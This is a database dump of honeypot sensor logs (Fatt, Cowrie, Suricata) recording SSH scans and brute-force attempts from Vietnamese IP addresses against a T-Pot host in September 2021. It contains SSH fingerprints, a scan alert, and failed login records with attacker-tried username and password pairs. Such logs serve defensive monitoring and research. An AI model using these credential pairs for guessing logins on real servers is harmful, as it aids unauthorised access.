24090	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:17.150526+03	2021-09-20 14:15:08.335471+03	{"_id": "TgbkAnwBvYTbRNuEchAJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37916, "timestamp": "2021-09-20T11:08:17.150526", "@timestamp": "2021-09-20T11:08:17.150Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24091	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:33.161171+03	2021-09-20 14:15:08.33647+03	{"_id": "9gbkAnwBvYTbRNuEsBGa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56106, "dest_port": 22, "timestamp": "2021-09-20T11:08:33.161171", "@timestamp": "2021-09-20T11:08:33.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24097	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:08:36.795053+03	2021-09-20 14:15:08.345469+03	{"_id": "SQbkAnwBvYTbRNuEuxJr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:35.784688+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 74, "bytes_toserver": 148}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1170882906290480, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 35704, "dest_port": 22, "timestamp": "2021-09-20T11:08:36.795053Z", "@timestamp": "2021-09-20T11:08:36.795Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
24092	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:33.227213+03	2021-09-20 14:15:08.338471+03	{"_id": "-AbkAnwBvYTbRNuEsBGd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35066, "timestamp": "2021-09-20T11:08:33.227213", "@timestamp": "2021-09-20T11:08:33.227Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24093	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:35.000048+03	2021-09-20 14:15:08.33947+03	{"_id": "FQbkAnwBvYTbRNuEtBKD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56992, "timestamp": "2021-09-20T11:08:35.000048", "@timestamp": "2021-09-20T11:08:35.000Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24094	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:35.575633+03	2021-09-20 14:15:08.340471+03	{"_id": "RQbkAnwBvYTbRNuEuRIM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "629a08799b4b", "@version": "1", "duration": 2.688026189804077, "timestamp": "2021-09-20T11:08:35.575633Z", "@timestamp": "2021-09-20T11:08:35.575Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24095	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:35.749247+03	2021-09-20 14:15:08.34147+03	{"_id": "PgbkAnwBvYTbRNuEuRIM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [eddie/123456] failed", "session": "911f8bf77278", "@version": "1", "password": "123456", "username": "eddie", "timestamp": "2021-09-20T11:08:35.749247Z", "@timestamp": "2021-09-20T11:08:35.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24096	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:36.079819+03	2021-09-20 14:15:08.34347+03	{"_id": "RwbkAnwBvYTbRNuEuRIM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [db2inst2/db2inst2] failed", "session": "67d82fe64cf4", "@version": "1", "password": "db2inst2", "username": "db2inst2", "timestamp": "2021-09-20T11:08:36.079819Z", "@timestamp": "2021-09-20T11:08:36.079Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24098	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:36.884629+03	2021-09-20 14:15:08.346472+03	{"_id": "SgbkAnwBvYTbRNuEuxJr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1750948304451718, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49856, "dest_port": 22, "timestamp": "2021-09-20T11:08:36.884629Z", "@timestamp": "2021-09-20T11:08:36.884Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24099	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:36.70962+03	2021-09-20 14:15:08.34747+03	{"_id": "SwbkAnwBvYTbRNuEvBJX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44162, "dest_port": 22, "timestamp": "2021-09-20T11:08:36.709620", "@timestamp": "2021-09-20T11:08:36.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24100	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:36.608302+03	2021-09-20 14:15:08.348471+03	{"_id": "TQbkAnwBvYTbRNuEvBJX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49856, "timestamp": "2021-09-20T11:08:36.608302", "@timestamp": "2021-09-20T11:08:36.608Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24101	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:36.431442+03	2021-09-20 14:15:08.349471+03	{"_id": "TwbkAnwBvYTbRNuEvBL5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:44162 (192.168.176.2:22) [session: 9ee13bf513d6]", "session": "9ee13bf513d6", "@version": "1", "protocol": "ssh", "src_port": 44162, "dest_port": 22, "timestamp": "2021-09-20T11:08:36.431442Z", "@timestamp": "2021-09-20T11:08:36.431Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24102	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:36.603382+03	2021-09-20 14:15:08.350471+03	{"_id": "UAbkAnwBvYTbRNuEvBL5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:49856 (192.168.176.2:22) [session: 006024714010]", "session": "006024714010", "@version": "1", "protocol": "ssh", "src_port": 49856, "dest_port": 22, "timestamp": "2021-09-20T11:08:36.603382Z", "@timestamp": "2021-09-20T11:08:36.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
